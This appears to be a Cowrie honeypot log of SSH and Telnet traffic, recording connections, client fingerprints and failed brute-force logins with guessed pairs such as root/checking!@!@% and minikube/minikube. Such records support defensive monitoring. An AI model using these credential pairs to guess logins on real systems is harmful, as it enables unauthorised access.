{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:34.020746Z","src_ip":"103.15.222.183","session":"d1d0a0a0749b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:34.753258Z","src_ip":"103.15.222.183","session":"d1d0a0a0749b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":1384,"dst_ip":"159.203.135.109","dst_port":22,"session":"4191b4e2d501","protocol":"ssh","message":"New connection: 201.77.124.248:1384 (159.203.135.109:22) [session: 4191b4e2d501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:34.829424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:34.834070Z","src_ip":"201.77.124.248","session":"4191b4e2d501","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:35.223779Z","src_ip":"201.77.124.248","session":"4191b4e2d501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:36.118559Z","src_ip":"103.15.222.183","session":"d1d0a0a0749b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jbernal","password":"123456","message":"login attempt [jbernal/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:36.891984Z","src_ip":"201.77.124.248","session":"4191b4e2d501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:38.027658Z","src_ip":"201.77.124.248","session":"4191b4e2d501","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60119,"dst_ip":"159.203.135.109","dst_port":22,"session":"52e0d7e749f8","protocol":"ssh","message":"New connection: 109.91.4.177:60119 (159.203.135.109:22) [session: 52e0d7e749f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:38.753943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:38.758551Z","src_ip":"109.91.4.177","session":"52e0d7e749f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:38.867073Z","src_ip":"109.91.4.177","session":"52e0d7e749f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warnightkardesim","message":"login attempt [root/warnightkardesim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:39.689966Z","src_ip":"109.91.4.177","session":"52e0d7e749f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:40.810808Z","src_ip":"109.91.4.177","session":"52e0d7e749f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.92470359802246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:41.400094Z","src_ip":"50.6.8.71","session":"b5233c012da8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":60934,"dst_ip":"10.17.0.5","dst_port":22,"session":"82c5600d4d5a","protocol":"ssh","message":"New connection: 194.113.233.25:60934 (10.17.0.5:22) [session: 82c5600d4d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:52.520786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:52.525620Z","src_ip":"194.113.233.25","session":"82c5600d4d5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:52.619346Z","src_ip":"194.113.233.25","session":"82c5600d4d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:52.969808Z","src_ip":"194.113.233.25","session":"82c5600d4d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:54.066236Z","src_ip":"194.113.233.25","session":"82c5600d4d5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54406,"dst_ip":"10.17.0.5","dst_port":23,"session":"21d3365c8c5c","protocol":"telnet","message":"New connection: 50.6.8.71:54406 (10.17.0.5:23) [session: 21d3365c8c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:57.284996Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54420,"dst_ip":"10.17.0.5","dst_port":23,"session":"50ffd90450cd","protocol":"telnet","message":"New connection: 50.6.8.71:54420 (10.17.0.5:23) [session: 50ffd90450cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:59.530289Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40560,"dst_ip":"10.17.0.5","dst_port":22,"session":"764f56eaf1ae","protocol":"ssh","message":"New connection: 103.195.236.96:40560 (10.17.0.5:22) [session: 764f56eaf1ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:04.329032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:04.341970Z","src_ip":"103.195.236.96","session":"764f56eaf1ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:04.598321Z","src_ip":"103.195.236.96","session":"764f56eaf1ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:05.324539Z","src_ip":"103.195.236.96","session":"764f56eaf1ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54436,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e8182468c25","protocol":"telnet","message":"New connection: 50.6.8.71:54436 (10.17.0.5:23) [session: 6e8182468c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:06.501672Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:06.565226Z","src_ip":"103.195.236.96","session":"764f56eaf1ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":35538,"dst_ip":"10.17.0.5","dst_port":22,"session":"6aa530ba2de5","protocol":"ssh","message":"New connection: 103.27.238.114:35538 (10.17.0.5:22) [session: 6aa530ba2de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:13.883060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:13.894812Z","src_ip":"103.27.238.114","session":"6aa530ba2de5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:14.168805Z","src_ip":"103.27.238.114","session":"6aa530ba2de5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:14.994143Z","src_ip":"103.27.238.114","session":"6aa530ba2de5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:16.273585Z","src_ip":"103.27.238.114","session":"6aa530ba2de5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":61705,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc4d11d02113","protocol":"ssh","message":"New connection: 109.91.4.177:61705 (159.203.135.109:22) [session: fc4d11d02113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:20.392741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:20.397735Z","src_ip":"109.91.4.177","session":"fc4d11d02113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:20.523459Z","src_ip":"109.91.4.177","session":"fc4d11d02113","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minikube","password":"minikube","message":"login attempt [minikube/minikube] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:21.099072Z","src_ip":"109.91.4.177","session":"fc4d11d02113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:22.228966Z","src_ip":"109.91.4.177","session":"fc4d11d02113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40384,"dst_ip":"10.17.0.5","dst_port":23,"session":"615e9a61e926","protocol":"telnet","message":"New connection: 50.6.8.71:40384 (10.17.0.5:23) [session: 615e9a61e926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:22.791397Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50630,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d95356064ea","protocol":"telnet","message":"New connection: 50.6.8.71:50630 (10.17.0.5:23) [session: 5d95356064ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:27.159752Z"}
{"eventid":"cowrie.session.closed","duration":30.73278498649597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:28.017660Z","src_ip":"50.6.8.71","session":"21d3365c8c5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50634,"dst_ip":"10.17.0.5","dst_port":23,"session":"a495b2095682","protocol":"telnet","message":"New connection: 50.6.8.71:50634 (10.17.0.5:23) [session: a495b2095682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:29.891639Z"}
{"eventid":"cowrie.session.closed","duration":34.716917753219604,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:34.247082Z","src_ip":"50.6.8.71","session":"50ffd90450cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.36337161064148,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:38.864813Z","src_ip":"50.6.8.71","session":"6e8182468c25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96977949142456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:53.761068Z","src_ip":"50.6.8.71","session":"615e9a61e926","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":37058,"dst_ip":"10.17.0.5","dst_port":22,"session":"4131d604899e","protocol":"ssh","message":"New connection: 176.65.132.190:37058 (10.17.0.5:22) [session: 4131d604899e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:57.153900Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:57.160056Z","src_ip":"176.65.132.190","session":"4131d604899e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.826704263687134,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:40:58.986319Z","src_ip":"50.6.8.71","session":"5d95356064ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.16205930709839,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:00.053585Z","src_ip":"50.6.8.71","session":"a495b2095682","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":62620,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ee6bc9eb694","protocol":"ssh","message":"New connection: 109.91.4.177:62620 (159.203.135.109:22) [session: 9ee6bc9eb694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:01.744248Z"}
